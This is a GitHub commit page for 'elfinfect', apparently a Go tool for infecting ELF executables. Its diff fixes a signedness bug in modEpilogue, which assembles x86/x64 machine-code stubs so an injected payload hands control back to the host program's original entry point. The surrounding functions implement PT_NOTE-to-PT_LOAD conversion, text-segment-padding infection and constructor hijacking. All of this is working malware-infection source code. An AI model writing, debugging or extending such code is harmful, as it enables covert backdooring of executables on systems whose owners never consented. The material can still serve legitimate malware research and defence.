Skip to content

Commit

Permalink
fixing signedness issue in modEpilogue
Browse files Browse the repository at this point in the history
  • Loading branch information
sad0p committed Sep 26, 2023
1 parent 6e7ff55 commit a396c02
Show file tree
Hide file tree
Showing 3 changed files with 81 additions and 47 deletions.
8 changes: 4 additions & 4 deletions elfinfect/pt_note_to_pt_load.go
Original file line number Diff line number Diff line change
Expand Up @@ -63,9 +63,9 @@ func (t *TargetBin) PtNoteToPtLoadInfection(opts InfectOpts) error {
if !((opts & NoRetOEP) == NoRetOEP) {
var retStub []byte
if (opts & CtorsHijack) == CtorsHijack {
retStub = modEpilogue(int32(t.Payload.Len()+5), uint64(relocEntry.Addend), uint64(origAddend))
retStub = modEpilogue(int32(t.Payload.Len()), uint64(relocEntry.Addend), uint64(origAddend))
} else {
retStub = modEpilogue(int32(t.Payload.Len()+5), t.Hdr.(*elf.Header64).Entry, oEntry)
retStub = modEpilogue(int32(t.Payload.Len()), t.Hdr.(*elf.Header64).Entry, oEntry)
}
t.Payload.Write(retStub)
}
Expand Down Expand Up @@ -132,9 +132,9 @@ func (t *TargetBin) PtNoteToPtLoadInfection(opts InfectOpts) error {
if !((opts & NoRetOEP) == NoRetOEP) {
var retStub []byte
if (opts & CtorsHijack) == CtorsHijack {
retStub = modEpilogue(int32(t.Payload.Len()+5), newEntry, origAddend)
retStub = modEpilogue(int32(t.Payload.Len()), newEntry, origAddend)
} else {
retStub = modEpilogue(int32(t.Payload.Len()+5), t.Hdr.(*elf.Header32).Entry, oEntry)
retStub = modEpilogue(int32(t.Payload.Len()), t.Hdr.(*elf.Header32).Entry, oEntry)
}
t.Payload.Write(retStub)
t.printDebugMsg(GENERATED_AND_APPEND_PIC_STUB)
Expand Down
112 changes: 73 additions & 39 deletions elfinfect/stubs.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ import (
"bytes"
"debug/elf"
"encoding/binary"
"math/bits"
)

var preserve64 = []byte{
Expand Down Expand Up @@ -124,60 +125,45 @@ x64 - pEntry uint64 / oEntry uint64
x86 - pEntry uint32 / oEntry uint32
*/
func modEpilogue(pSize int32, pEntry interface{}, oEntry interface{}) []byte {
/*
;Example of what the final payload can look like
epilog := []byte{
0xe8, 0x12, 0x00, 0x00, 0x00, //call 401061 <get_eip>
0x48, 0x83, 0xe8, 0x4f, //sub $0x4f,%rax
0x48, 0x2d, 0xd1, 0x73, 0x01, 0x00, //sub $0x173d1,%rax
0x48, 0x05, 0x20, 0x5b, 0x00, 0x00, //add $0x5b20,%rax
0xff, 0xe0, //jmp *%rax
//0000000000401061 <get_eip>:
0x48, 0x8b, 0x04, 0x24, //mov (%rsp),%rax
0xc3, //ret
}
*/
//account for the call instruction we will prepend to the shellcode
pSize += 5

encPsize := make([]byte, 4)
binary.LittleEndian.PutUint32(encPsize, uint32(pSize))
var numZeros uint32 = 0
for _, b := range encPsize {
if b != 0x00 {
numZeros++
}
}
//if need be, adjust pSize to a value that doesn't have signed bit set
//mov rax, <imm> causes signed bit extension for values with a signed bit,
//this is a hack for dealing with it.
aPsize := adjustPsize(pSize)

var incOff uint32
switch pEntry.(type) {
case uint64:
incOff = 0x12
case uint32:
incOff = 0xf
}
incOff += (numZeros - 1)
encPsize := make([]byte, 4)
binary.LittleEndian.PutUint32(encPsize, uint32(aPsize))

var shellcode bytes.Buffer
shellcode.Write([]byte{0xe8}) //call instruction

//encode the offset
encOff := make([]byte, 4)
binary.LittleEndian.PutUint32(encOff, incOff)
if aPsize != pSize {
var nopCount int
for nopCount = 0; signedInt32(pSize); pSize++ {
nopCount++
}

//write offset for call instruction
shellcode.Write(encOff)
for i := 0; i < nopCount; i++ {
shellcode.Write([]byte{0x90})
}
}

// (x64) - sub rax, encPsize
// (x86) - sub eax, encPsize

switch oEntry.(type) {
case uint64:
shellcode.Write([]byte{0x48, 0x83, 0xe8})
shellcode.Write([]byte{0x48, 0x2d})
case uint32:
shellcode.Write([]byte{0x83, 0xe8})
shellcode.Write([]byte{0x2d})
}
shellcode.Write(encPsize[:numZeros])

shellcode.Write(encPsize)

// (x64) - sub rax, pEntry
// (x86) - sub eax, pEntry

encPentry := make([]byte, 4)
switch v := pEntry.(type) {
case uint64:
Expand All @@ -187,10 +173,12 @@ func modEpilogue(pSize int32, pEntry interface{}, oEntry interface{}) []byte {
binary.LittleEndian.PutUint32(encPentry, v)
shellcode.Write([]byte{0x2d})
}

shellcode.Write(encPentry)

// (x64) - add rax, oEntry
// (x86) - add eax, oEntry

encOentry := make([]byte, 4)
switch v := oEntry.(type) {
case uint64:
Expand All @@ -200,6 +188,7 @@ func modEpilogue(pSize int32, pEntry interface{}, oEntry interface{}) []byte {
binary.LittleEndian.PutUint32(encOentry, v)
shellcode.Write([]byte{0x05})
}

shellcode.Write(encOentry)

switch oEntry.(type) {
Expand All @@ -216,5 +205,50 @@ func modEpilogue(pSize int32, pEntry interface{}, oEntry interface{}) []byte {
//ret
shellcode.Write([]byte{0xff, 0xe0, 0x8b, 0x04, 0x24, 0xc3})
}
return shellcode.Bytes()

jmpRaxOffset := bytes.LastIndexByte(shellcode.Bytes(), 0xff)

// mov [accumulator register] , [stack-pointer] will be two bytes after jmp [accumulator] instruction
getIPOff := jmpRaxOffset + 2
encOff := make([]byte, 4)

var callInst bytes.Buffer

//call instruction opcode
callInst.Write([]byte{0xe8})
//offset to get_eip
binary.LittleEndian.PutUint32(encOff, uint32(getIPOff))
callInst.Write(encOff)

//place the call as the first instruction of the shellcode
return append(callInst.Bytes(), shellcode.Bytes()...)
}

func adjustPsize(pSize int32) int32 {
for {
if !signedInt32(pSize) {
break
}
pSize++
}
return pSize
}

func signedInt32(n int32) bool {
switch getNoneZeroByteCount(n) {
case 1:
return (n & (int32(1) << 23)) == (int32(1) << 23)
case 2:
return (n & (int32(1) << 15)) == int32(1)<<15
case 3:
return (n & (int32(1) << 7)) == int32(1)<<7
}
return false
}

func getNoneZeroByteCount(n int32) (nonZeros int) {
numZeros := bits.LeadingZeros32(uint32(n))
zeroBytes := numZeros / 8
nonZeros = 4 - zeroBytes
return
}
8 changes: 4 additions & 4 deletions elfinfect/text_segment_padding.go
Original file line number Diff line number Diff line change
Expand Up @@ -70,9 +70,9 @@ func (t *TargetBin) TextSegmentPaddingInfection(opts InfectOpts) error {
if !((opts & NoRetOEP) == NoRetOEP) {
var retStub []byte
if (opts & CtorsHijack) == CtorsHijack {
retStub = modEpilogue(int32(t.Payload.Len()+5), uint64(relocEntry.Addend), uint64(origAddend))
retStub = modEpilogue(int32(t.Payload.Len()), uint64(relocEntry.Addend), uint64(origAddend))
} else {
retStub = modEpilogue(int32(t.Payload.Len()+5), t.Hdr.(*elf.Header64).Entry, oEntry)
retStub = modEpilogue(int32(t.Payload.Len()), t.Hdr.(*elf.Header64).Entry, oEntry)
}

t.Payload.Write(retStub)
Expand Down Expand Up @@ -151,9 +151,9 @@ func (t *TargetBin) TextSegmentPaddingInfection(opts InfectOpts) error {
var retStub []byte
if (opts & CtorsHijack) == CtorsHijack {
pEntry := pHeaders[textNdx].Vaddr + pHeaders[textNdx].Filesz
retStub = modEpilogue(int32(t.Payload.Len()+5), pEntry, uint32(origAddend))
retStub = modEpilogue(int32(t.Payload.Len()), pEntry, uint32(origAddend))
} else {
retStub = modEpilogue(int32(t.Payload.Len()+5), t.Hdr.(*elf.Header32).Entry, oEntry)
retStub = modEpilogue(int32(t.Payload.Len()), t.Hdr.(*elf.Header32).Entry, oEntry)
}

t.Payload.Write(retStub)
Expand Down

0 comments on commit a396c02

Please sign in to comment.